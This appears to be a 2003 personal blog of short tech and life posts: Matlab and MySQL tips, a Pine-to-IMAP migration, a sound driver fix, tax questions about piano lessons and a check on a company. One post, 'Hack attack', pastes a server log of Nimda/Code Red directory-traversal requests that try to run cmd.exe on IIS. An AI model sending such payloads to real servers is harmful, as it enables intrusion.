tree1:~/data-torque/.backup/math> fs examine
Volume status for vid = 2003993199 named
Current disk quota is 3000000
Current blocks used are 1003287
The partition has 13494240 blocks available out of 34668997
You then mount the corresponding backup volume, here using
fs mkmount OldData
Get the files you need from OldData and then cleanup using
fs rmmount OldData

Posted by torque at 11:22 AM | Comments (3) | TrackBack

September 17, 2003

Matlab and qsub

To submit Matlab jobs to a batch system, e.g., using qsub, you need to use the following tags: -nosplash -nojvm. More information is available here.

Posted by torque at 11:18 AM | Comments (0) | TrackBack

September 12, 2003

Matlab + MySQL

Wow, so cool, I love the the web. I've been storing a lot of my data - about 50,000,000 rows, in MySQL and doing queries and manipulations via PHP from another PC. I was planning on writing a PHP script to format my data into Matlab readable files when I discovered, to my great joy, that a Matlab mysql tool has already been written. Rock and roll! I think the original one came from here. But maybe they are separate efforts...

I installed the Windows version without a hitch though the Unix version I have to mess around with still. At Stanford the school computers run Solaris.

Acutally, there was a hitch. I was getting segmentation fault on my queries. The problem turned out to be the version of Matlab I was using (6.1). I downloaded the Toronto mysql.cpp mex file and compiled it by their instructions and now it works just fine. Robert Almgren, you rock.

Posted by torque at 11:58 PM | Comments (6) | TrackBack

September 6, 2003

Making forms in Word

For those of you making forms in word, this microsoft tech note may be of use to you. It talks about how to underline the form field. What I'm still unsure on is how you put in a form field in the first place... sigh.

Posted by torque at 10:07 PM | Comments (1) | TrackBack

August 22, 2003

Nice photos!

Messing around, I found another Tim's Journal with some very incredible photos. I'm jealous! Take a look at the three botanical garden blogs.

The main photo gallery is here. Very impressive work.

Posted by torque at 5:14 PM | Comments (2) | TrackBack

Chloroplast Movement

I've always wondered about this. Here are the little guys going around in circles. Why? Anyone know?

Posted by torque at 1:42 PM | Comments (1) | TrackBack

August 11, 2003

Sound card too fast?

Sometime ago, after installing and uninstalling a fancy audio card (that did not really work), I noticed that my computer was playing sound substantially faster - so much so that vocal recordings resembled the Chipmunks. It took me quite a while to sort out the problem but I finally found a very helpful thread in Google groups. If you have Intel AC'97 audio like I do, the solution, per David Hollway's post, is as follows:

  1. Update Intel chipset
  2. Update the audio driver by clicking Control Panel->System->Hardware->Device Manager->Sound, video and game controllers->AC'97 Audio codec->Driver->Update->Windows Update
It will offer to install SoundMax - that'll work.

Posted by torque at 5:03 PM | Comments (4) | TrackBack

August 9, 2003

Jerry Colonna


Posted by torque at 1:11 AM | Comments (1) | TrackBack

August 7, 2003

Transitioning from POP3 to IMAP

After using POP3-based Pine for so many years, I've recently decided to use IMAP, mostly because Stanford gives an extra 100 MB in space which I'd like to free up to do stuff like my blog. So, I started using IMAP-configured Outlook Express to access my mail. Fine, but all my old mail and addresses were still stored in Pine folders on Leland. Now what? The first step is to force Pine to use IMAP instead of downloading mail. Stanford has a pretty good document here which explains how to do it.

  1. First, disable automatic downloading using
    epic14:~> unsetenv LELAND_ENV
  2. Now, edit .pinerc using the editor of your choice, changing these lines
    To these lines
    folder-collections={}INBOX.[], Mail/[]
    (Of course, you changed torque to your own username right?)
  3. Get a Kerberos 5 ticket using
    epic14:~> kinit -t
    Stanford University (Leland) (epic14.Stanford.EDU)
    Password for
  4. Now, if you start up Pine, it will access your IMAP folders directly. The last step is to move the old Pine folders you want to IMAP... and I don't know how to do that!
Posted by torque at 12:44 PM | Comments (0) | TrackBack

June 4, 2003


Yesterday ScriptLance had 43 new projects. Assuming that 50% get filled (which is low), that's 20*5 = $100. Not a huge amount, but not bad. Also, not everyone is referred so it could be a bit higher. $100*30=$3000.

Posted by torque at 10:24 AM | Comments (7) | TrackBack

May 26, 2003

You have to move super fast on I started corresponding with a project poster, and by the time I asked the second question the project had already been awarded. Of course, it was only for $15.

Posted by torque at 1:43 AM | Comments (18) | TrackBack

May 21, 2003

Timing my life

I just downloaded Egg Timer Plus v1.11. It is simply a stopwatch and timer. I saw Pastor Howard using it to control his websurfing time. Good idea. I put it on the laptop. The only feature missing that would be cool is to have something that tracks what you are doing. So that you can see how you use your time. I imagine the stopwatch and timer bringing up a small textbox when you start where you enter in what you will be doing (or pick from a picklist!). This could be all online so that whereever you go, you can track what you have been doing. you could, for instance, store the data in a database, and then go back to see time totals, or patterns (productive or destructive). Well times up.

Posted by torque at 9:22 PM | Comments (0)

Bible in a Year

It would be nice to have a calendar with links to the passages of the day, and a check-off box after you read the passage (or maybe when you click on the link?) Then you could track it over time. Sort of like:

Numbers 30
Psalm 74
Isaiah 22
2 Peter 3

On activating the link it should submit the checkboxes updating a database or flat file.

Overview. Several things need to be done. First, I must convert the chart into a PHP readable flat file. I just did this. It took about 15 minutes of cutting and pasting into an excel file. This can then be turned into a comma-delimited or tab-delimited file. Next I have to figure out how to do array indexing using PHP - rows, columns, index. Then I have to get the link made to Bible Gateway. Finally I have to find a way of keeping track of clicks per user. This will probably be last, before that I just want to have a daily list of what to read and links to that.

Digitization. Done. I used "=concatenate(text(MONTH,"00"),text(DAY,"00"))". This will be the index.

PHP indexing. Can we do it. Fortunately yes. I found a clue here.

Posted by torque at 7:28 AM | Comments (4)

May 4, 2003

change case

In case you ever have to, you can change the case of a highlighted section in word by pressing SHIFT-F3. This cycles through a number of options. I use it when I need to take things that are All Caps to Small Caps. I saw this before but had to refind it here.

Posted by torque at 4:53 PM | Comments (1)

April 30, 2003

Capital Markets Global Services

Who are these guys? Their two domains, and Their earliest post on newsgroups was in July, 1998.

Reference USA gives the following info:

Name: CAPITAL MARKETS GLOBAL SVC Employees: Corporate Location 5 to 9
Address: 244 MADISON AVE # 339 Est Sales: $500,000 to $1 MILLION
City: NEW YORK, NY 10016-2817 Location: SINGLE LOC
Contact: MORGAN DENNY (OWNER) Credit Rating Code*: GOOD
County: NEW YORK ABI Number: 560918856
MSA: NEW YORK, NY Public: No
Phone: (212) 797-1298 Ticker Symbol: Not Applicable
Fax**: Toll Free Number: Not Applicable
Fortune 1000 Ranking: Not Applicable URL: Not Applicable
Foreign Parent: NO


In addition, after an inquiry, I got a response from Mr. Denny stating that Capital markets is "a 7-year old retained and contingency Executive Search and Placement firm, based in mid-town Manhattan." And that he and his 4 partners have "over 125 years of collective experience in consulting, financial services and executive search, coming from the financial services industries and firms serving these industries." Interesting.

Posted by torque at 10:38 AM | Comments (2)

April 12, 2003

Music lessons and the IRS

Given our proximity to April 15, it is only appropriate to have a tax related blog. So... suppose you are interested in giving music lessons, and you give a number of piano lessons. Certainly, some amount of tax is owed to the government, but how does it work?

Business or hobby. Regardless of profitability, the IRS distinguishes between businesses and hobbies. If your activities are classified as being a hobby, all your expenses may not be deductible. A hobby is an activity that is not engaged for profit. However, you can still lose money and be classified as a business, albeit a lousy one. But in order to show that you are a business, you must carry on your activity in a "business-like" manner, i.e., separate checking accounts, good records, etc. For a few lessons, is the distinction critical? Assume for the moment, that our activity is a business using the market rate claim.

Expensability. The IRS has a document on deducting business expenses. Here hobbies are defined as a "not-for-profit activity". In this case, the limitation on expense deduction is the gross income from the actities (see the example on page 5 regarding Ida). This is reasonable. Imagine that you like to build R/C helicopters, and you sell these to your friends at cost. The IRS would expect to receive something from the transaction, however, since you sell it at cost, you really aren't making anything, so you shouldn't have to pay any taxes. If you sell it to your friends at less then cost, you shouldn't be able to go back and try to reduce the tax liability for the rest of your earnings by claiming the deduction. (However, if you are self-employed, and R/C helicopters is your living, you should be always trying to make a profit, in which case, if you do have a loss, you reduce your total earnings since this is part of what you are trying to do for survival.)

So, what about our piano lessons. As long as the market rate is charged, it seems like it should be counted as a business. If the rate is heavily discounted, that may be more questionable. The problem with lessons is that the cost of material is not so easily computed. What goes into piano lessons:

  • Experience, previous training
  • Materials - books, etc.
  • Piano - depreciation (if using one's own piano)
  • Rent, real estate expenses (if using one's own studio)
  • Travel expenses (if using client's home, piano)
  • Professional organization membership fees

How to quantify these things is no so clear. Take the piano. Suppose it was given to you as a gift. How do you then use it as a business asset? Would you depreciate a percentage to piano? Could you as a person, rent piano time at market rate to you as the business person? Would you then pay tax on the rent and then depreciate the piano?

Posted by torque at 11:41 AM | Comments (0)

April 9, 2003

Hack attack

My home PC has been attacked. I figured out that it was either Nimda or Code Red. - - [28/Mar/2003:13:02:27 -0800] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 294 - - [28/Mar/2003:13:02:27 -0800] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 292 - - [28/Mar/2003:13:02:28 -0800] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 - - [28/Mar/2003:13:02:28 -0800] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 - - [28/Mar/2003:13:02:28 -0800] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316 - - [28/Mar/2003:13:02:28 -0800] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 - - [28/Mar/2003:13:02:28 -0800] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 - - [28/Mar/2003:13:02:28 -0800] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 - - [28/Mar/2003:13:02:29 -0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306 - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306 - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316 - - [28/Mar/2003:13:02:30 -0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316

Posted by torque at 9:01 AM | Comments (5)

April 6, 2003

Looking at laptops, I stumbled upon a company called PCVideoOnline which seemed to have an unbelieveable pricing. I'll let the reviews speak for themselves. They are very extreme either 1's or 5's, which makes it quite... err... interesting.

OSDN Pricegrabber

Sure enough, the laptop turned out to be a "Class A Refurbished" with 90-day warranty. Now, this may not be bad, since many times people return laptops within 30 days. These turn into "refurbished". Still, it would seem more honest if they just said it up front on site, instead of advertising it as if it was new. Also, there is additional 4% "insurance" charge.

Posted by torque at 5:07 PM | Comments (8)